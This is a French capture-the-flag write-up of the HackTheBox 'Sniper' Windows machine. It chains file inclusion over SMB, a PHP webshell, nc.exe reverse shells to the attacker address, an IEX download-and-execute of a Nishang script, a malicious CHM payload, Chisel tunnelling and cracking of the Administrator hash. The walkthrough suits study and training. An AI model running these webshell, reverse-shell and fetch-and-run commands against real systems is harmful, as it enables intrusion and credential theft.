> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/windows-medium/sniper-hackthebox-writeup.md).

# Compte rendu de Sniper HackTheBox

{% embed url="<https://app.hackthebox.com/machines/211>" %}

{% hint style="warning" %}
Compétences :

* Inclusion de fichiers locaux (LFI)
* Inclusion de fichier distant (RFI) (Échec)
* Inclusion de fichier distant via un serveur SMB (technique net usershare) (Succès)
* Création d'un webshell et obtention de l'exécution de commandes à distance (RCE)
* Fuite d'informations (pivotement utilisateur)
* Manipulation de Chisel et des ScriptBlocks avec Invoke-Command
* Création d'un fichier CHM malveillant (Out-CHM.ps1) (Élévation de privilèges)
  {% endhint %}

## Reconnaissance

**Configuration de l'espace de travail :**

Configurez l'espace de travail en créant trois dossiers pour stocker le contenu important, les exploits et les résultats de reconnaissance Nmap.

<figure><img src="/files/16e98b91fdf0f2d6db9d59e76ef61c9ab9ba580d" alt="" width="563"><figcaption></figcaption></figure>

**Vérification de la connectivité VPN**

Vérifiez la connectivité VPN pour assurer une communication stable avec la machine cible.

<figure><img src="/files/c287ca9aed20dd673bb2d10bd0038305c26eb0b6" alt="" width="563"><figcaption></figcaption></figure>

**Découverte des ports ouverts avec Nmap :**

Énumérez les ports ouverts et exportez les résultats dans le fichier "allPorts" du répertoire Nmap :

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.151 -oG allPorts
```

<figure><img src="/files/271c1dcc2262d2c180b01a70d52b2e2f0cf4d638" alt=""><figcaption></figcaption></figure>

**Analyse des ports ouverts avec extractPorts :**

Utilisez la fonction extractPorts pour afficher les ports ouverts dans un format concis et les copier dans le presse-papiers. (80,135,139,445,496,67)

<figure><img src="/files/1ab7bd4bedf2a2f34dc6bff311099d4038bae28e" alt="" width="563"><figcaption></figcaption></figure>

**Scan de version des ports avec Nmap :**

Utilisez Nmap pour analyser les versions des services et enregistrer la sortie dans le fichier "targeted" :

```bash
nmap -sCV -p80,135,139,445,49667 10.10.10.151 -oN targeted
```

<figure><img src="/files/ac61fef529cdf6424f536dd588dd49474a8ddfa4" alt=""><figcaption></figcaption></figure>

### Port 80 :

<figure><img src="/files/518d0cf418c132e0b708731796c78fae2f6f0626" alt=""><figcaption></figcaption></figure>

**Analyse avec `whatweb`:**

Nous avons utilisé `whatweb` pour identifier les technologies utilisées par le serveur web :

{% code overflow="wrap" fullWidth="false" %}

```bash
whatweb 10.10.10.151
http://10.10.10.151 [200 OK] Bootstrap[3.0.0], Country[RESERVED][ZZ], HTML5, HTTPServer[Microsoft-IIS/10.0], IP[10.10.10.151], JQuery[2.1.3], Microsoft-IIS[10.0], PHP[7.3.1], Script, Title[Sniper Co.], X-Powered-By[PHP/7.3.1]
```

{% endcode %}

## **Vulnérabilité LFI :**

Sur la page de changement de langue, il y avait un `lang` paramètre permettant de charger différents fichiers PHP selon la langue choisie.

<figure><img src="/files/40ede4c38527fa945dcf37e045e9d31159784038" alt="" width="366"><figcaption></figcaption></figure>

Nous avons testé avec un fichier système local :

```url
http://10.10.10.151/blog/?lang=/Windows/System32/drivers/etc/hosts
```

* Cela nous a permis d'afficher le contenu du `hosts` .

<figure><img src="/files/b2f29deecee2a551b39395e748dfdd204289abe9" alt=""><figcaption></figcaption></figure>

**Tentatives de lecture de fichiers sensibles avec `php://filter`:**

Nous avons essayé d'utiliser la LFI pour lire le `index.php` fichier du serveur web Microsoft IIS situé dans `/inetpub/wwwroot/index.php`, mais l'opération via `php://filter` n'a pas fonctionné.

<figure><img src="/files/cd5c27f251c56e1158406ba5c141d18f784707b4" alt="" width="563"><figcaption></figcaption></figure>

```url
php://filter/convet.base64-encode/ressource=/inetpub/wwwroot/index.php
```

<figure><img src="/files/8040aa0708c248f11f1c37e57c29f502170aee3b" alt="" width="563"><figcaption></figcaption></figure>

### Inclusion de fichier distant (RFI) (Échec)

#### Test RFI via un serveur web distant :

Nous avons essayé de charger un fichier distant via le `?lang=http://10.10.14.3/index.html` URL en pointant vers notre serveur web local avec Python3.

```bash
python3 -m http.server 80
```

```url
?lang=http://10.10.14.3/index.html
```

Mais cela n'a pas fonctionné.

<figure><img src="/files/537ecc9d9d4c0e6119f98897179df921d5f7c7ae" alt="" width="518"><figcaption></figcaption></figure>

## Inclusion de fichier distant (serveur SMB)

**Créer un serveur SMB :**

Nous avons créé un serveur SMB local en utilisant `smbserver.py` et partagé le répertoire courant :

```bash
smbserver.py share $(pwd) -smb2support
```

Ensuite, nous avons essayé de charger un fichier depuis le serveur SMB en modifiant le `lang` paramètre

```bash
?lang=/10.10.14.3/share/index.html
```

* Cette fois, le serveur a correctement interprété notre `index.html` fichier, en affichant son contenu ("Hello World").

<figure><img src="/files/96592d54979377389c0a570dc41c40a6bfd6f6ef" alt="" width="563"><figcaption></figcaption></figure>

**Créer un fichier webshell PHP (`cmd.php)`**

Nous avons créé un `cmd.php` fichier sur notre serveur SMB pour exécuter des commandes à distance via `cmd` paramètre :

```bash
<?php
echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
?>
```

/*/* Exécution de commandes via SMB/*/*

```bash
//10.10.14.3/share/cmd.php&cmd=<command>
```

En utilisant l'URL suivante, nous avons exécuté la `whoami` commande :

```bash
//10.10.14.3/share/cmd.php&cmd=whoami
```

<figure><img src="/files/eca5ba41f571398dc773843354eee2ed625ffbfd" alt="" width="563"><figcaption></figcaption></figure>

### Reverse shell (nc.exe)

**Télécharger `nc.exe` pour le reverse shell :**/ Nous avons récupéré le `nc.exe` binaire depuis les outils en cours d'exécution dans `/usr/share/SecLists/Web-Shells/FuzzDB/nc.exe` et l'avons copié dans le répertoire de travail.

```bash
locate nc.exe 
cp /usr/share/SecLists/Web-Shells/FuzzDB/nc.exe .
```

**Écouter sur le port 443 :**/ Nous avons mis en place un listener avec `nc` pour écouter sur le port 443 :

```bash
rlwrap nc -nvlp 443
```

**Exécution du reverse shell via SMB :**/ Nous avons ensuite lancé un reverse shell en pointant le `cmd` paramètre vers notre fichier

```
?lang=//10.10.14.3/share/cmd.php&cmd=//10.10.14.3/share/nc.exe -e cmd 10.10.14.3 443
```

Nous avons donc obtenu un reverse shell sur notre machine.

<figure><img src="/files/0c10fe2e9320e73e88a5ab07651d7afec9ec8318" alt="" width="563"><figcaption></figcaption></figure>

## Élévation de privilèges

**Recherche de fichiers sensibles :**/ Nous avons recherché des informations sensibles dans les fichiers PHP et avons trouvé le `db.php` fichier contenant les identifiants de la base de données :

* Utilisateur : `dbuser`
* Mot de passe : `36mEAhz/B8xQ~2VM`

<figure><img src="/files/ae6a1e38575b03813ce969cb39ea8b0d99700a0e" alt=""><figcaption></figcaption></figure>

**Validation des identifiants d'un autre utilisateur :**

<figure><img src="/files/2e30d83fb9dd55034eb171b104493f21fb08093a" alt="" width="563"><figcaption></figcaption></figure>

Nous avons découvert un autre utilisateur nommé **Chris** en plus de l'utilisateur **Administrateur**. Nous avons utilisé **CrackMapExec** pour vérifier si `Chris` les identifiants étaient valides :

```bash
crackmapexec smb 10.10.10.151 -u 'Chris' -p '36mEAhz/B8xQ~2VM'
```

* La connexion a réussi.

<figure><img src="/files/09a3664c2ec7a7ba96be1d45d1066f2067b6fa4d" alt=""><figcaption></figcaption></figure>

**Vérifier les privilèges de l'utilisateur "Chris" :**

* Nous avons observé que l'utilisateur `Chris` appartenait au **groupe Remote Management User** ce qui lui permettait de se connecter à distance.

<figure><img src="/files/06a75d8a76ee5934674f05116f1b5344ff82b1b1" alt="" width="563"><figcaption></figcaption></figure>

/*/* Analyse des ports ouverts :/*/*

Le port requis pour la connexion à distance (port 5985, utilisé par WinRM) n'était pas ouvert en externe, mais en interne. Nous avons utilisé `netstat` pour vérifier les ports à l'écoute sur la machine cible :

```bash
netstat -an | findstr "LISTEN"
```

<figure><img src="/files/b21ac8358ca8528056f16dffb7e05e228ef4ea8a" alt="" width="563"><figcaption></figcaption></figure>

## Transfert de port (5985 WinRM)

### 1. PowerShell

Nous avons lancé PowerShell sur notre machine d'attaque :

```bash
powershell
```

Nous avons récupéré le nom de l'environnement Windows avec la commande `hostname`, et avons constaté que le nom d'hôte était `Sniper`.

```powershell
hostname
```

Ensuite, nous avons créé une variable pour l'utilisateur `Chris` et une autre pour le mot de passe en utilisant `ConvertTo-SecureString`:

```powershell
$user = "Sniper/Chris"
```

```powershell
$password = ConvertTo-SecureString '36mEAhz/B8xQ~2VM' -AsPlainText -Force
```

Ensuite, nous avons créé un `PSCredential` objet pour pouvoir exécuter des commandes à distance sur la machine cible :

```bash
$cred = New-Object System.Management.Automation.PSCredential($user, $password)
```

**Exécution de commandes à distance :**/ Nous avons utilisé la commande suivante pour exécuter `whoami` à distance et valider l'accès :

```powershell
Invoke-Command -Credential $cred -ComputerName Sniper -ScriptBlock {whoami}
```

* Cela nous a permis de confirmer que nous étions bien connectés en tant que **Chris**.

<figure><img src="/files/f3f80dbd590217cd893cbda77627ee21378fdf48" alt=""><figcaption></figcaption></figure>

**Reverse shell :**/ Pour obtenir un accès complet au système, nous avons mis en place un listener sur le port 4444 :

```bash
rlwrap nc -nlvp 4444
```

Ensuite, nous avons lancé un reverse shell en utilisant `nc.exe` depuis notre serveur SMB :

{% code overflow="wrap" %}

```powershell
Invoke-Command -Credential $cred -ComputerName Sniper -ScriptBlock {//10.10.14.3/share/nc.exe -e cmd 10.10.14.3 4444
```

{% endcode %}

<figure><img src="/files/92803aade4129e8cc2c57e17a237345d96e0d77b" alt="" width="563"><figcaption></figcaption></figure>

### 2. Chisel

{% embed url="<https://github.com/jpillora/chisel/releases>" %}

**Téléchargement et préparation des fichiers :**/ Nous avons téléchargé le fichier compressé **Chisel** fichiers, à savoir :

* `chisel-linux`
* `chisel-windows.exe`

{% embed url="<https://github.com/jpillora/chisel/releases/download/v1.10.1/chisel_1.10.1_linux_amd64.gz>" %}

{% embed url="<https://github.com/jpillora/chisel/releases/download/v1.10.1/chisel_1.10.1_windows_amd64.gz>" %}

Après les avoir extraits, nous avons transféré le **Chisel** fichier pour Windows vers la machine cible :

```bash
copy //10.10.14.3/smb/chisel-windows.exe chisel-windows.exe
```

<figure><img src="/files/5e0ce60a3d2445eb7230d2a76770769ff73c9e69" alt=""><figcaption></figcaption></figure>

**Écoute sur la machine d'attaque avec Chisel :**/ Nous avons lancé **Chisel** en mode serveur sur la machine attaquante sur le port 8888 :

```bash
./chisel-linux server -p 8888 -reverse
```

Puis, sur la machine Windows cible, nous avons exécuté **Chisel** en mode client pour se connecter à notre machine d'attaque et rediriger le port 5985 vers notre machine :

```bash
chisel-windows.exe client 10.10.14.3:8888 R:5985:127.0.0.1:5985
```

<figure><img src="/files/558af1b40a3b170a65e606e46da8901d7abba2b5" alt=""><figcaption></figcaption></figure>

**Vérification du port redirigé avec `lsof`:**/ Nous avons vérifié que le port 5985 était bien redirigé après transfert avec la commande :

<figure><img src="/files/596f1b80acbf6e48b0794dffd50591ad3628e9e7" alt=""><figcaption></figcaption></figure>

**Connexion avec WinRM :**/ Nous avons utilisé **CrackMapExec** pour tester la connexion via **WinRM** sur le port 5985 redirigé :

```bash
crackmapexec winrm 10.10.14.3 -u 'Chris' -p '36mEAhz/B8xQ~2VM'
```

* Nous avons obtenu le symbole **compromis**, confirmant que nous avions réussi à accéder à la machine via WinRM.

<figure><img src="/files/ee088da6851fdeb39cd4a07e655058bc3ee9329c" alt=""><figcaption></figcaption></figure>

**Connexion finale avec Evil-WinRM :**/ Enfin, nous avons utilisé **Evil-WinRM** pour obtenir un shell distant en tant que **Chris**:

```bash
evil-winrm -i 10.10.14.3 -u 'Chris' -p '36mEAhz/B8xQ~2VM'
```

### Drapeau user.txt :)

<figure><img src="/files/8fcc31013a7fd3c3d66d8757ad5597ae1e40c9ec" alt=""><figcaption></figcaption></figure>

**Exploration du répertoire « docs » :**/ À la racine de **Windows**, nous avons trouvé un dossier **docs** contenant un `note.txt` contenant le message suivant :

<figure><img src="/files/ba80430a71cbe25a54d4b242252e54a3095128cd" alt=""><figcaption></figcaption></figure>

> Salut Chris,
>
> Tes compétences PHP sont vraiment mauvaises. Contacte Yamitenshi pour qu'il t'apprenne à l'utiliser, puis corrige le site car il y a beaucoup de bugs dessus. J'espère aussi que tu as préparé la documentation pour notre nouvelle application. Dépose-la ici quand tu auras terminé.
>
> Cordialement,/ PDG de Sniper.

**Recherche de documentation dans le système :**/ Nous avons recherché la documentation mentionnée par le PDG et l'avons trouvée dans le **Downloads** répertoire sous le **instructions.chm** .

<figure><img src="/files/a7d413c8be4e56c1562666c2e036ce67bae75db6" alt="" width="563"><figcaption></figcaption></figure>

### **Création d'un fichier CHM malveillant :**

Après avoir découvert que le PDG souhaitait consulter **CHM** des fichiers dans le **docs** répertoire, nous avons cherché sur Internet comment créer des fichiers CHM malveillants.

{% embed url="<https://github.com/samratashok/nishang/blob/master/Client/Out-CHM.ps1>" %}

**Téléchargement de HTML Help Tool :**/ Nous avons téléchargé **HTML Help** et utilisé un script PowerShell pour créer un fichier CHM malveillant

* [HTML Help](https://archive.org/download/htmlhelp/htmlhelp.exe)

```bash
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/refs/heads/master/Client/Out-CHM.ps1')
```

Ensuite, nous avons modifié le script pour exécuter une commande malveillante à distance via **nc.exe**:

```bash
Out-CHM -Payload "//10.10.14.3/smb/nc.exe -e cmd 10.10.14.3 443" -HHCPath "C:/Program Files (x86)/HTML Help Workshop"
```

<figure><img src="/files/534aa4d81d0ebb9d717e7b452c058e85aec0ffd1" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/a41a0f3acde7bbc7e746ae45abb5b3dc404a0a03" alt="" width="563"><figcaption></figcaption></figure>

**Injection d'un fichier CHM malveillant dans le répertoire cible :**/ Nous avons configuré un serveur SMB sur notre machine d'attaque pour transférer le fichier malveillant vers la machine Windows cible :

```bash
smbserver.py smbFolder $(pwd) -smb2support -username jordan -password jordan1234
```

/*/* Connexion au partage SMB depuis la machine victime :/*/*/ Depuis la machine Windows cible, nous avons monté le partage SMB et copié le fichier malveillant `doc.chm` fichier :

```powershell
net use x: //192.168.0.190/smbFolder /user:jordan jordan1234
copy ./doc.chm x:/doc.chm
```

**Écoute pour le reverse shell :**/ Nous avons lancé un listener sur notre machine d'attaque, en attente d'une connexion reverse shell :

```bash
rlwrap nc -nlvp 443
```

<figure><img src="/files/6c552c5f42926554ee3c7b4bb768397a08361e8d" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/def3ec8b4637644e80b792b8e2e979e3e9a8cd9d" alt="" width="563"><figcaption></figcaption></figure>

/*/* Problème rencontré :/*/*/ Bien que le fichier CHM ait été consulté, nous n'avons pas reçu de reverse shell. Cependant, nous avons réussi à capturer un **SMB Relay V2** sur notre serveur. Cela nous a fourni un hachage d'authentification pour l'utilisateur `Administrateur`

<figure><img src="/files/3f5d51a3d092cc1b7d2f42ef2289dbe2b685f1b1" alt=""><figcaption></figcaption></figure>

#### **Craquage du hachage Administrateur :**

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

`Administrator:butterfly!#1`

<figure><img src="/files/e8acfe82dce4d39f95f8d433dc9597b448e5133a" alt=""><figcaption></figcaption></figure>

#### **Connexion en tant qu'administrateur :**

Avec les identifiants obtenus, nous avons utilisé **Evil-WinRM** pour nous connecter à la machine en tant qu'administrateur :

```bash
evil-winrm -i 10.10.14.3 -u 'Administrator' -p 'butterfly!#1'
```

<figure><img src="/files/a98a573191cbb644ec5567ec3cf8e476e673e6e0" alt=""><figcaption></figcaption></figure>

### Drapeau root.txt :)

<figure><img src="/files/6a6ec1fdfca2062903bec5da6fa1f7a970e0505d" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/40528d1c7ef25037f0182cf88d697567a9b188c6" alt="" width="521"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/writeups-ctf/hackthebox/windows-medium/sniper-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
